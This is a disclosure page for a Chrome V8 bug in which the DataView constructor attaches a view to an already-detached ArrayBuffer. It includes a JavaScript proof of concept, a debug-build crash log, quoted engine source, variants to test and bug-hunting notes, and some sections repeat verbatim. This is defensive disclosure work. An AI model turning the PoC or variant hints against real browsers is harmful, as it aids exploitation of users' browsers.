Skip to content
Memory corruption Advisory Advanced CVE-2026-10904

Inappropriate implementation in V8 (CVE-2026-10904)

The DataView constructor checked whether the ArrayBuffer was detached before converting the byte-length argument, but that conversion can run user JavaScript that detaches the buffer. The view was then attached to the already-detached buffer before a second check threw, leaving the buffer's view list inconsistent and crashing a debug build.

303f06e3 Follow

Originally disclosed on Chrome VRP

Bounty$8,000 High View original
  • Fix shipped in 37 days

DETAILS

The execution flow of new DataView(ab, 0, evil_obj); is as follows:

  1. array_buffer->was_detached() checks whether the buffer has been detached — the PoC passes this check.
  2. Subsequently, Object::ToIndex(isolate, byte_length, ...) triggers evil_obj.valueOf(), causing ab to be detached.
  3. A JSDataView object is created.
  4. array_buffer->AttachView(*data_view) is called — note: this step registers data_view into an already-detached array_buffer.
  5. array_buffer->was_detached() is checked again: an exception is thrown here, but it is too late, because the views field of array_buffer has already been written.
C++
BUILTIN(DataViewConstructor) {
  ...

  // 4. If IsDetachedBuffer(buffer) is true, throw a TypeError exception.
  if (array_buffer->was_detached()) {
    THROW_NEW_ERROR_RETURN_FAILURE(
        isolate,
        NewTypeError(
            MessageTemplate::kTypedArrayDetachedErrorOperation,
            isolate->factory()->NewStringFromAsciiChecked(kMethodName)));
  }
  ...

  // 7. Let bufferIsResizable be IsResizableArrayBuffer(buffer).
  // 8. Let byteLengthChecked be empty.
  // 9. If bufferIsResizable is true and byteLength is undefined, then
  //       a. Let viewByteLength be auto.
  // 10. Else if byteLength is undefined, then
  //       a. Let viewByteLength be bufferByteLength - offset.
  size_t view_byte_length;
  bool length_tracking = false;
  if (IsUndefined(*byte_length, isolate)) {
    view_byte_length = buffer_byte_length - view_byte_offset;
    length_tracking = array_buffer->is_resizable_by_js();
  } else {
    // 11. Else,
    //       a. Set byteLengthChecked be ? ToIndex(byteLength).
    //       b. Let viewByteLength be byteLengthChecked.
    //       c. If offset + viewByteLength > bufferByteLength, throw a
    //          RangeError exception.
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, byte_length,
        Object::ToIndex(isolate, byte_length,    // <=== Triggers evil_obj.valueOf()
                        MessageTemplate::kInvalidDataViewLength));
    ...
    view_byte_length = Object::NumberValue(*byte_length);
  }

  bool is_backed_by_rab =
      array_buffer->is_resizable_by_js() && !array_buffer->is_shared();

  // 12. Let O be ? OrdinaryCreateFromConstructor(NewTarget,
  //     "%DataViewPrototype%", «[[DataView]], [[ViewedArrayBuffer]],
  //     [[ByteLength]], [[ByteOffset]]»).
  DirectHandle<JSObject> result;

  if (is_backed_by_rab || length_tracking) {
    ...
  } else {
    // Create a JSDataView.
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, result,
        JSObject::New(target, new_target, {},
                      NewJSObjectType::kMaybeEmbedderFieldsAndApiWrapper));
  }
  auto data_view = Cast<JSDataViewOrRabGsabDataView>(result);
  ...

  // Attach
  array_buffer->AttachView(*data_view); // <== Root Cause

  // 13. If IsDetachedBuffer(buffer) is true, throw a TypeError exception.
  if (array_buffer->was_detached()) {    // <=== Throw exception
    THROW_NEW_ERROR_RETURN_FAILURE(
        isolate,
        NewTypeError(
            MessageTemplate::kTypedArrayDetachedErrorOperation,
            isolate->factory()->NewStringFromAsciiChecked(kMethodName)));
  }
  ...
}

commit a08ad9c9c382b93980a7e76e65594a734cecadda introduced this vuln.

Fix suggestion: Move array_buffer->AttachView(*data_view); to after the 13. If IsDetachedBuffer(buffer) check.

REPRODUCE

poc.js:

JavaScript

const ab = new ArrayBuffer(64);
let typedArray = new Uint8Array(ab);

const evil_obj = {
    valueOf() {
        ab.transfer();
        return 3;
    },
};
let view = new DataView(ab, 0, evil_obj);

V8 must be built with a debug configuration. Execute V8 as follows:

Shell
../x64.debug/d8 \
    --verify-heap \
    --track-array-buffer-views \
    ./poc.js

This will result in the following crash:

#
# Fatal error in ../../src/diagnostics/objects-debug.cc, line 2903
# Check failed: views.GetHeapObjectAssumeWeak() == view (0x2c7e0104b635 <DataView map = 0x2c7e01029c21> vs. 0x2c7e0104b561 <Uint8Array map = 0x2c7e01039d11>).
#
#

CREDIT INFORMATION

Reporter credit: [303f06e3]

The original report as published on the Chromium issue tracker, by 303f06e3. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

This is a V8 bug in Google Chrome, reported through the Chrome VRP and rated high severity, with a bounty of 8000.00 USD. The weakness class is "inappropriate implementation" and the affected component is V8, Chrome's JavaScript engine. The advisory was disclosed on 2026-06-02 and credits the researcher 303f06e3.

The feature involved is the DataView constructor. new DataView(buffer, byteOffset, byteLength) creates a view over an ArrayBuffer, optionally with an explicit offset and length. When an explicit byteLength is supplied, the constructor must convert it to an index with ToIndex, which can run user JavaScript through valueOf. The constructor also has to cope with the buffer being detached, and the specification requires a detached buffer to be rejected with a TypeError.

Setup

The PoC requires a debug build of V8. The researcher ran it with d8, the V8 shell, using two flags: --verify-heap and --track-array-buffer-views. The latter is what turns the inconsistent state into a hard crash, because it makes the engine check that the views registered on an array buffer match the actual objects.

Finding it

The researcher traced the execution flow of new DataView(ab, 0, evil_obj); and found that the detached-buffer check happens twice, once before the length conversion and once after the view is attached. The problem is what happens in between: the length conversion can run arbitrary JavaScript, and that JavaScript can detach the buffer. The second check then throws, but by that point the view has already been registered on the detached buffer.

The flow as described in the report:

  1. array_buffer->was_detached() checks whether the buffer has been detached. The PoC passes this check.
  2. Object::ToIndex(isolate, byte_length, ...) triggers evil_obj.valueOf(), which detaches ab.
  3. A JSDataView object is created.
  4. array_buffer->AttachView(*data_view) is called, registering data_view into an already-detached array_buffer.
  5. array_buffer->was_detached() is checked again. An exception is thrown here, but it is too late, because the views field of array_buffer has already been written.

Exploitation

Step 1: prepare the buffer and the hostile length object

The PoC allocates a 64-byte ArrayBuffer, creates a Uint8Array over it, and defines an object whose valueOf detaches the buffer with ab.transfer() before returning 3.

JavaScript
const ab = new ArrayBuffer(64);
let typedArray = new Uint8Array(ab);

const evil_obj = {
    valueOf() {
        ab.transfer();
        return 3;
    },
};
let view = new DataView(ab, 0, evil_obj);

The valueOf is the callback that runs inside ToIndex and detaches the buffer mid-construction.

Step 2: run it under a debug build with view tracking

Shell
../x64.debug/d8 \
    --verify-heap \
    --track-array-buffer-views \
    ./poc.js

Step 3: observe the crash

Text
#
# Fatal error in ../../src/diagnostics/objects-debug.cc, line 2903
# Check failed: views.GetHeapObjectAssumeWeak() == view (0x2c7e0104b635 <DataView map = 0x2c7e01029c21> vs. 0x2c7e0104b561 <Uint8Array map = 0x2c7e01039d11>).
#
#

The check failed because the tracked view did not match the view being examined. The DataView was written into the detached buffer's views field, so the bookkeeping no longer matches reality.

Root cause

The constructor performs the detached-buffer check, then calls Object::ToIndex on the user-supplied byteLength. ToIndex can invoke valueOf, and that callback can detach the buffer. The code then creates the JSDataView and calls array_buffer->AttachView(*data_view) before re-checking was_detached(). The second check throws the required TypeError, but the views field has already been modified, so the exception does not undo the damage.

The relevant part of the constructor, as quoted in the report:

C++
BUILTIN(DataViewConstructor) {
  ...

  // 4. If IsDetachedBuffer(buffer) is true, throw a TypeError exception.
  if (array_buffer->was_detached()) {
    THROW_NEW_ERROR_RETURN_FAILURE(
        isolate,
        NewTypeError(
            MessageTemplate::kTypedArrayDetachedErrorOperation,
            isolate->factory()->NewStringFromAsciiChecked(kMethodName)));
  }
  ...

  // 7. Let bufferIsResizable be IsResizableArrayBuffer(buffer).
  // 8. Let byteLengthChecked be empty.
  // 9. If bufferIsResizable is true and byteLength is undefined, then
  //       a. Let viewByteLength be auto.
  // 10. Else if byteLength is undefined, then
  //       a. Let viewByteLength be bufferByteLength - offset.
  size_t view_byte_length;
  bool length_tracking = false;
  if (IsUndefined(*byte_length, isolate)) {
    view_byte_length = buffer_byte_length - view_byte_offset;
    length_tracking = array_buffer->is_resizable_by_js();
  } else {
    // 11. Else,
    //       a. Set byteLengthChecked be ? ToIndex(byteLength).
    //       b. Let viewByteLength be byteLengthChecked.
    //       c. If offset + viewByteLength > bufferByteLength, throw a
    //          RangeError exception.
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, byte_length,
        Object::ToIndex(isolate, byte_length,    // <=== Triggers evil_obj.valueOf()
                        MessageTemplate::kInvalidDataViewLength));
    ...
    view_byte_length = Object::NumberValue(*byte_length);
  }

  bool is_backed_by_rab =
      array_buffer->is_resizable_by_js() && !array_buffer->is_shared();

  // 12. Let O be ? OrdinaryCreateFromConstructor(NewTarget,
  //     "%DataViewPrototype%", «[[DataView]], [[ViewedArrayBuffer]],
  //     [[ByteLength]], [[ByteOffset]]»).
  DirectHandle<JSObject> result;

  if (is_backed_by_rab || length_tracking) {
    ...
  } else {
    // Create a JSDataView.
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, result,
        JSObject::New(target, new_target, {},
                      NewJSObjectType::kMaybeEmbedderFieldsAndApiWrapper));
  }
  auto data_view = Cast<JSDataViewOrRabGsabDataView>(result);
  ...

  // Attach
  array_buffer->AttachView(*data_view); // <== Root Cause

  // 13. If IsDetachedBuffer(buffer) is true, throw a TypeError exception.
  if (array_buffer->was_detached()) {    // <=== Throw exception
    THROW_NEW_ERROR_RETURN_FAILURE(
        isolate,
        NewTypeError(
            MessageTemplate::kTypedArrayDetachedErrorOperation,
            isolate->factory()->NewStringFromAsciiChecked(kMethodName)));
  }
  ...
}

The report states that commit [redacted] introduced the vulnerability. The existing defence, the second was_detached() check, is placed after the state change it is meant to guard, so it detects the problem but cannot prevent it.

Impact

The report does not describe a concrete exploitation path beyond the debug-build crash. What it establishes is that a detached ArrayBuffer can end up with a DataView registered in its views field, leaving the engine's view bookkeeping inconsistent with the actual objects. The severity is rated high and the bounty was 8000.00 USD. Any further consequence, such as memory corruption or sandbox escape, is not stated in the report.

Fix

The suggested fix is to move array_buffer->AttachView(*data_view); to after the 13. If IsDetachedBuffer(buffer) check. That way the buffer is re-validated after the user callback has had a chance to detach it, and the view is only registered when the buffer is still attached.

Variants to test

  • Other constructors that call ToIndex or similar user-visible conversions on a length or offset after an initial detached-buffer check, for example typed array constructors with explicit lengths. A positive result is a debug-build check failure or a view registered on a detached buffer.
  • Resizable and growable shared array buffers, since the constructor has a separate branch for is_backed_by_rab and length_tracking. A positive result is the same mismatch between the tracked view and the actual object.
  • Other callbacks that can detach a buffer during construction, such as Symbol.toPrimitive or getters on the length argument. A positive result is a TypeError thrown after the views field has already been written.

Hunting notes

This kind of bug hides in constructor and conversion paths where a specification step that can run user JavaScript sits between a validity check and a state mutation. The signal is a check that appears twice, or a check that comes after an attach, register or store operation. Running a debug build with --verify-heap and --track-array-buffer-views turns these inconsistencies into immediate crashes,

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

Google Chrome runs the JavaScript that powers most of the modern web. The part of Chrome that reads and executes JavaScript is called V8. This report is about a mistake in V8, found by a security researcher and reported through Google's bug bounty programme for Chrome, called the Chrome VRP. Google rated the problem high severity and paid a bounty of 8000.00 USD. The report was made public on 2026-06-02 and credits the researcher 303f06e3.

The weakness is classified as "inappropriate implementation". That is a broad label meaning the code does not do what the design or the written rules for JavaScript say it should do. It is not a missing password check or a leaked secret; it is a logic mistake in how a built-in feature is implemented.

The feature involved is DataView. A DataView is a JavaScript object that lets a program read and write the raw bytes of a block of memory called an ArrayBuffer. You create one with new DataView(buffer, byteOffset, byteLength): you hand it the buffer, where in the buffer to start, and how many bytes the view should cover. The third argument, the length, can be any JavaScript value, and JavaScript will try to convert it to a number. That conversion can run code written by the page, through a method called valueOf. So a page can sneak its own code into the middle of the constructor.

Separately, an ArrayBuffer can be "detached". Detaching means the memory behind the buffer is taken away and the buffer becomes unusable. The rules for JavaScript say that if you try to create a DataView over a detached buffer, the constructor must refuse and throw a TypeError, which is JavaScript's way of reporting that an operation was not allowed.

The bug is that the constructor checks whether the buffer is detached, then runs the user's conversion code (which can detach the buffer), then creates the view and registers it on the buffer, and only then checks again whether the buffer is detached. The second check does throw the required error, but the registration has already happened. The engine's records now say a view exists on a buffer that is supposed to have no memory, and the records no longer match reality.

Context

The weakness class is "inappropriate implementation" and the affected component is V8, Chrome's JavaScript engine. The advisory was disclosed on 2026-06-02 and credits the researcher 303f06e3.

The feature involved is the DataView constructor. new DataView(buffer, byteOffset, byteLength) creates a view over an ArrayBuffer, optionally with an explicit offset and length. When an explicit byteLength is supplied, the constructor must convert it to an index with ToIndex, which can run user JavaScript through valueOf. The constructor also has to cope with the buffer being detached, and the specification requires a detached buffer to be rejected with a TypeError.

A few of those words deserve a plain explanation before we go further.

  • An API is a defined way for one piece of software to talk to another. new DataView(...) is an API: it is the agreed way for your JavaScript to ask the engine for a view object.
  • An ArrayBuffer is a fixed-size block of raw bytes. Think of it as a sheet of graph paper with a set number of squares; the program can write numbers into the squares and read them back.
  • A DataView is a window placed over that sheet. It does not copy the bytes; it lets you look at a chosen stretch of them and interpret them as numbers of various sizes.
  • Detaching a buffer is like taking the sheet of graph paper away while someone is still holding a window frame over where it used to be. The window is now pointing at nothing.
  • ToIndex is the engine's internal routine for turning a JavaScript value into a non-negative whole number suitable for use as a position or length. It is allowed to run user code, because JavaScript values can define how they convert themselves.
  • valueOf is a method a JavaScript object can define to say "here is the primitive value I stand for". When the engine needs a number from your object, it calls valueOf.
  • A TypeError is a standard JavaScript error meaning a value was not of the expected kind, or an operation was not permitted.

Setup

The PoC requires a debug build of V8. The researcher ran it with d8, the V8 shell, using two flags: --verify-heap and --track-array-buffer-views. The latter is what turns the inconsistent state into a hard crash, because it makes the engine check that the views registered on an array buffer match the actual objects.

Some terms here:

  • A PoC, or proof of concept, is a small piece of code that demonstrates a bug actually happens. It is not a full attack; it is the minimum needed to show the problem is real.
  • A debug build is a version of the software compiled with extra internal checks switched on. Normal builds that ship to users leave these checks out for speed. A debug build is like a car with every warning light wired up and a mechanic listening to the engine.
  • d8 is a command-line program that runs JavaScript using V8 directly, without a browser window around it. It is the standard tool for testing V8 itself.
  • A flag is an option you pass on the command line to change how a program behaves.
  • --verify-heap asks the engine to check the consistency of its heap, the region of memory where it stores all its objects.
  • --track-array-buffer-views asks the engine to keep and verify a list of which views are attached to which array buffers. Without it, the bad state would sit there quietly; with it, the engine notices and stops.

Finding it

The researcher traced the execution flow of new DataView(ab, 0, evil_obj); and found that the detached-buffer check happens twice, once before the length conversion and once after the view is attached. The problem is what happens in between: the length conversion can run arbitrary JavaScript, and that JavaScript can detach the buffer. The second check then throws, but by that point the view has already been registered on the detached buffer.

The flow as described in the report:

  1. array_buffer->was_detached() checks whether the buffer has been detached. The PoC passes this check.
  2. Object::ToIndex(isolate, byte_length, ...) triggers evil_obj.valueOf(), which detaches ab.
  3. A JSDataView object is created.
  4. array_buffer->AttachView(*data_view) is called, registering data_view into an already-detached array_buffer.
  5. array_buffer->was_detached() is checked again. An exception is thrown here, but it is too late, because the views field of array_buffer has already been written.

In everyday terms: the constructor is like a clerk who checks that a locker is still rented before writing your name on the list of key holders. Between the check and the writing, the clerk asks you a question, and while answering you cancel the rental. The clerk then writes your name on the list anyway, notices the rental is cancelled, and tells you off, but your name is already on the list. The complaint does not erase the entry.

Exploitation

Step 1: prepare the buffer and the hostile length object

The PoC allocates a 64-byte ArrayBuffer, creates a Uint8Array over it, and defines an object whose valueOf detaches the buffer with ab.transfer() before returning 3.

JavaScript
const ab = new ArrayBuffer(64);
let typedArray = new Uint8Array(ab);

const evil_obj = {
    valueOf() {
        ab.transfer();
        return 3;
    },
};
let view = new DataView(ab, 0, evil_obj);

Line by line:

  • const ab = new ArrayBuffer(64); creates a block of 64 bytes and stores a handle to it in the constant ab. This is the buffer that will later be detached in the middle of the constructor.
  • let typedArray = new Uint8Array(ab); creates a second kind of view, a Uint8Array, over the same buffer. A Uint8Array treats the bytes as an array of unsigned 8-bit numbers.
  • const evil_obj = { starts the definition of a plain object. The name evil_obj is the researcher's label for the hostile length argument.
  • valueOf() { defines the method the engine will call when it needs a primitive value from this object. This is the hook that lets page code run inside the constructor.
  • ab.transfer(); detaches the original buffer. transfer is the operation that moves the memory to a new buffer and leaves the old one detached. This is the moment the buffer becomes unusable while the constructor is still working.
  • return 3; gives the engine the number it asked for, so the conversion succeeds and the constructor carries on rather than stopping early.
  • }; closes the object definition.
  • let view = new DataView(ab, 0, evil_obj); is the actual call under test. It asks for a DataView over ab, starting at offset 0, with a length given by evil_obj. Because the length is an object, the engine must convert it, which calls valueOf, which detaches ab.

The valueOf is the callback that runs inside ToIndex and detaches the buffer mid-construction.

Step 2: run it under a debug build with view tracking

Shell
../x64.debug/d8 \
    --verify-heap \
    --track-array-buffer-views \
    ./poc.js

Line by line:

  • ../x64.debug/d8 runs the debug build of the V8 shell. The path ../x64.debug/ is where the debug build sits relative to the current directory, and x64 indicates the 64-bit build.
  • --verify-heap switches on heap consistency checking, so the engine validates its own memory bookkeeping.
  • --track-array-buffer-views switches on tracking of which views belong to which array buffers, and checking of that list.
  • ./poc.js is the file containing the code from step 1.
  • The backslashes at the end of the first three lines are shell line continuations: they let one command be written across several lines for readability.

Step 3: observe the crash

Text
#
# Fatal error in ../../src/diagnostics/objects-debug.cc, line 2903
# Check failed: views.GetHeapObjectAssumeWeak() == view (0x2c7e0104b635 <DataView map = 0x2c7e01029c21> vs. 0x2c7e0104b561 <Uint8Array map = 0x2c7e01039d11>).
#
#

Line by line:

  • Fatal error in ../../src/diagnostics/objects-debug.cc, line 2903 says the engine hit a condition it refuses to continue past, in a source file whose name indicates it holds debug-only diagnostics, at line 2903.
  • Check failed: introduces the specific internal assertion that did not hold.
  • views.GetHeapObjectAssumeWeak() == view is the assertion: the view recorded in the buffer's list of views should be the same object as the view being examined.
  • 0x2c7e0104b635 <DataView map = 0x2c7e01029c21> is the object the check found, described as a DataView.
  • vs. separates the two sides of the comparison.
  • 0x2c7e0104b561 <Uint8Array map = 0x2c7e01039d11> is the object it was compared against, described as a Uint8Array.

The check failed because the tracked view did not match the view being examined. The DataView was written into the detached buffer's views field, so the bookkeeping no longer matches reality.

Root cause

The constructor performs the detached-buffer check, then calls Object::ToIndex on the user-supplied byteLength. ToIndex can invoke valueOf, and that callback can detach the buffer. The code then creates the JSDataView and calls array_buffer->AttachView(*data_view) before re-checking was_detached(). The second check throws the required TypeError, but the views field has already been modified, so the exception does not undo the damage.

The relevant part of the constructor, as quoted in the report:

C++
BUILTIN(DataViewConstructor) {
  ...

  // 4. If IsDetachedBuffer(buffer) is true, throw a TypeError exception.
  if (array_buffer->was_detached()) {
    THROW_NEW_ERROR_RETURN_FAILURE(
        isolate,
        NewTypeError(
            MessageTemplate::kTypedArrayDetachedErrorOperation,
            isolate->factory()->NewStringFromAsciiChecked(kMethodName)));
  }
  ...

  // 7. Let bufferIsResizable be IsResizableArrayBuffer(buffer).
  // 8. Let byteLengthChecked be empty.
  // 9. If bufferIsResizable is true and byteLength is undefined, then
  //       a. Let viewByteLength be auto.
  // 10. Else if byteLength is undefined, then
  //       a. Let viewByteLength be bufferByteLength - offset.
  size_t view_byte_length;
  bool length_tracking = false;
  if (IsUndefined(*byte_length, isolate)) {
    view_byte_length = buffer_byte_length - view_byte_offset;
    length_tracking = array_buffer->is_resizable_by_js();
  } else {
    // 11. Else,
    //       a. Set byteLengthChecked be ? ToIndex(byteLength).
    //       b. Let viewByteLength be byteLengthChecked.
    //       c. If offset + viewByteLength > bufferByteLength, throw a
    //          RangeError exception.
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, byte_length,
        Object::ToIndex(isolate, byte_length,    // <=== Triggers evil_obj.valueOf()
                        MessageTemplate::kInvalidDataViewLength));
    ...
    view_byte_length = Object::NumberValue(*byte_length);
  }

  bool is_backed_by_rab =
      array_buffer->is_resizable_by_js() && !array_buffer->is_shared();

  // 12. Let O be ? OrdinaryCreateFromConstructor(NewTarget,
  //     "%DataViewPrototype%", «[[DataView]], [[ViewedArrayBuffer]],
  //     [[ByteLength]], [[ByteOffset]]»).
  DirectHandle<JSObject> result;

  if (is_backed_by_rab || length_tracking) {
    ...
  } else {
    // Create a JSDataView.
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, result,
        JSObject::New(target, new_target, {},
                      NewJSObjectType::kMaybeEmbedderFieldsAndApiWrapper));
  }
  auto data_view = Cast<JSDataViewOrRabGsabDataView>(result);
  ...

  // Attach
  array_buffer->AttachView(*data_view); // <== Root Cause

  // 13. If IsDetachedBuffer(buffer) is true, throw a TypeError exception.
  if (array_buffer->was_detached()) {    // <=== Throw exception
    THROW_NEW_ERROR_RETURN_FAILURE(
        isolate,
        NewTypeError(
            MessageTemplate::kTypedArrayDetachedErrorOperation,
            isolate->factory()->NewStringFromAsciiChecked(kMethodName)));
  }
  ...
}

This is C++ source code from V8 itself, not JavaScript. The comments beginning with // are numbered steps copied from the written JavaScript specification, so you can see which rule each piece of code is trying to follow. Walking through it:

  • BUILTIN(DataViewConstructor) { marks the start of the engine's built-in implementation of the DataView constructor.
  • // 4. If IsDetachedBuffer(buffer) is true, throw a TypeError exception. is the specification rule requiring a detached buffer to be rejected.
  • if (array_buffer->was_detached()) { is the first check of the buffer's detached state. If the buffer is already detached at this point, the code inside the braces runs.
  • THROW_NEW_ERROR_RETURN_FAILURE( starts the construction and throwing of an error, then returning a failure.
  • isolate, passes the engine's per-thread working context, called an isolate, into the error helper.
  • NewTypeError( says the error to create is a TypeError.
  • MessageTemplate::kTypedArrayDetachedErrorOperation, selects the standard error message about an operation on a detached typed array.
  • isolate->factory()->NewStringFromAsciiChecked(kMethodName))); builds the method name string that goes into the message, and the closing brackets finish the call.
  • // 7. to // 10. are specification steps about resizable buffers and about what the view length should be when no length is supplied.
  • size_t view_byte_length; declares a variable to hold the view's length in bytes. size_t is an unsigned integer type used for sizes.
  • bool length_tracking = false; declares a true/false flag, initially false, recording whether the view's length should follow a resizable buffer.
  • if (IsUndefined(*byte_length, isolate)) { handles the case where the caller did not pass a length.
  • view_byte_length = buffer_byte_length - view_byte_offset; then the view covers everything from the offset to the end of the buffer.
  • length_tracking = array_buffer->is_resizable_by_js(); records whether the buffer can be resized from JavaScript.
  • } else { begins the branch where a length was supplied, which is the branch the PoC takes.
  • // 11. Else, and the following comment lines restate the specification steps for this branch, including the requirement to convert the length with ToIndex and to throw a RangeError if the view would run past the end of the buffer.
  • ASSIGN_RETURN_FAILURE_ON_EXCEPTION( is a macro that runs an operation, and if that operation throws, propagates the failure out of the constructor.
  • isolate, byte_length, passes the isolate and the length value to convert.
  • Object::ToIndex(isolate, byte_length, // <=== Triggers evil_obj.valueOf() is the conversion itself. The researcher's comment marks the exact spot where the hostile valueOf runs.
  • MessageTemplate::kInvalidDataViewLength)); supplies the error message to use if the conversion fails.
  • view_byte_length = Object::NumberValue(*byte_length); reads the resulting number out of the converted value.
  • bool is_backed_by_rab = declares a flag recording whether the buffer is a resizable array buffer that is not shared.
  • array_buffer->is_resizable_by_js() && !array_buffer->is_shared(); is the condition: resizable from JavaScript, and not a shared buffer.
  • // 12. and the following comment lines restate the specification step that creates the new object.
  • DirectHandle<JSObject> result; declares a handle that will point at the new object. A handle is the engine's safe reference to an object that the garbage collector may move.
  • if (is_backed_by_rab || length_tracking) { takes a separate path for resizable buffers.
  • } else { is the ordinary path, the one the PoC follows.
  • // Create a JSDataView. is the researcher's comment naming what happens next.
  • JSObject::New(target, new_target, {}, allocates the new object, using the constructor and new-target values that JavaScript passed in.
  • NewJSObjectType::kMaybeEmbedderFieldsAndApiWrapper)); tells the allocator what kind of object to make.
  • auto data_view = Cast<JSDataViewOrRabGsabDataView>(result); treats the new object as a data view object.
  • // Attach is the researcher's comment marking the registration step.
  • array_buffer->AttachView(*data_view); // <== Root Cause registers the new view on the buffer. The researcher's comment marks this as the root cause, because it happens before the buffer is re-checked.
  • // 13. If IsDetachedBuffer(buffer) is true, throw a TypeError exception. is the specification rule requiring a second rejection if the buffer has become detached.
  • if (array_buffer->was_detached()) { // <=== Throw exception is that second check. The researcher's comment notes that this is where the exception is thrown.
  • The following lines build and throw the same TypeError as before, and the final } closes the constructor.

The report states that commit [redacted] introduced the vulnerability. A commit is a recorded change to the source code; this one is the change that brought the bug in. The existing defence, the second was_detached() check, is placed after the state change it is meant to guard, so it detects the problem but cannot prevent it.

Impact

The report does not describe a concrete exploitation path beyond the debug-build crash. What it establishes is that a detached ArrayBuffer can end up with a DataView registered in its views field, leaving the engine's view bookkeeping inconsistent with the actual objects. The severity is rated high and the bounty was 8000.00 USD. Any further consequence, such as memory corruption or sandbox escape, is not stated in the report.

To put that in perspective for a newcomer: a mismatch between the engine's records and its real objects is the kind of thing that can, in principle, be built on. But this report stops at demonstrating the mismatch. It does not claim that an attacker can read or write memory outside the buffer, and it does not claim a way out of Chrome's security sandbox. Those claims are simply not made here.

Fix

The suggested fix is to move array_buffer->AttachView(*data_view); to after the 13. If IsDetachedBuffer(buffer) check. That way the buffer is re-validated after the user callback has had a chance to detach it, and the view is only registered when the buffer is still attached.

In the locker comparison: the clerk should ask you the question first, then check the rental is still valid, and only then write your name on the list. Order matters, and the fix is purely a matter of order.

Variants to test

  • Other constructors that call ToIndex or similar user-visible conversions on a length or offset after an initial detached-buffer check, for example typed array constructors with explicit lengths. A positive result is a debug-build check failure or a view registered on a detached buffer.
  • Resizable and growable shared array buffers, since the constructor has a separate branch for is_backed_by_rab and length_tracking. A positive result is the same mismatch between the tracked view and the actual object.
  • Other callbacks that can detach a buffer during construction, such as Symbol.toPrimitive or getters on the length argument. A positive result is a TypeError thrown after the views field has already been written.

A variant here means a nearby version of the same mistake. If one constructor gets the order wrong, its siblings may too. Symbol.toPrimitive is another hook, like valueOf, that an object can define to control how it converts to a primitive value. A getter is a property that runs code when it is read, so reading the length argument can itself run page code.

Hunting notes

This kind of bug hides in constructor and conversion paths where a specification step that can run user JavaScript sits between a validity check and a state mutation. The signal is a check that appears twice, or a check that comes after an attach, register or store operation. Running a debug build with --verify-heap and --track-array-buffer-views turns these inconsistencies into immediate crashes,

In plain terms: whenever you see code that checks something, then calls out to code you do not control, then changes state, ask whether the call-out could have invalidated the check. If it could, and the state change happens before the re-check, you have found the shape of this bug.

Glossary

  • API: a defined way for one piece of software to ask another for something, such as new DataView(...).
  • ArrayBuffer: a fixed-size block of raw bytes that JavaScript code can read and write through views.
  • AttachView: the internal V8 operation that records a view as belonging to a particular array buffer.
  • Bounty: money paid by a bug bounty programme to a researcher who reports a valid security problem.
  • Chrome VRP: Google's Vulnerability Reward Program for Chrome, the scheme through which this report was submitted.
  • Commit: a recorded change to a source code repository; the report names one commit as having introduced the bug.
  • d8: the command-line shell that runs JavaScript directly on V8, used for testing the engine.
  • DataView: a JavaScript object that provides a window over an ArrayBuffer for reading and writing bytes as numbers.
  • Debug build: a version of software compiled with extra internal consistency checks enabled.
  • Detached buffer: an ArrayBuffer whose underlying memory has been taken away, leaving it unusable.
  • Flag: a command-line option that changes how a program runs, such as --verify-heap.
  • Getter: a property whose value is produced by running code at the moment it is read.
  • Handle: the engine's safe reference to an object that the garbage collector may relocate.
  • Heap: the region of memory where a program stores its dynamically created objects.
  • Inappropriate implementation: a weakness label meaning the code does not follow the intended design or specification.
  • Isolate: V8's per-thread working context that holds the state needed to run JavaScript.
  • JSDataView: the internal C++ representation of a JavaScript DataView object.
  • PoC (proof of concept): a minimal piece of code that demonstrates a bug really occurs.
  • RangeError: a standard JavaScript error meaning a value fell outside the permitted range.
  • Resizable ArrayBuffer: an ArrayBuffer whose size can be changed from JavaScript.
  • Root cause: the specific line or ordering mistake that produces the bug.
  • Sandbox escape: breaking out of the restricted environment a browser puts around untrusted code; the report does not claim this.
  • Severity: a rating of how serious a bug is; this one is rated high.
  • Shared array buffer: an ArrayBuffer whose memory can be accessed from more than one execution context.
  • Symbol.toPrimitive: a well-known JavaScript method an object can define to control its conversion to a primitive value.
  • ToIndex: V8's internal routine that converts a JavaScript value into a non-negative whole number for use as a position or length.
  • TypeError: a standard JavaScript error meaning a value was of the wrong kind or an operation was not allowed.
  • Typed array: a JavaScript view such as Uint8Array that treats buffer bytes as an array of numbers of a fixed size.
  • Uint8Array: a typed array that reads buffer bytes as unsigned 8-bit integers.
  • V8: the JavaScript engine inside Google Chrome that executes page scripts.
  • valueOf: a method an object can define to supply the primitive value it stands for, called when the engine needs a number.
  • Variant: a nearby version of the same mistake, in another constructor or through another callback.
  • --track-array-buffer-views: a V8 flag that makes the engine track and verify which views belong to which array buffers.
  • --verify-heap: a V8 flag that makes the engine check the consistency of its heap.

More by 303f06e3

View all

9 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.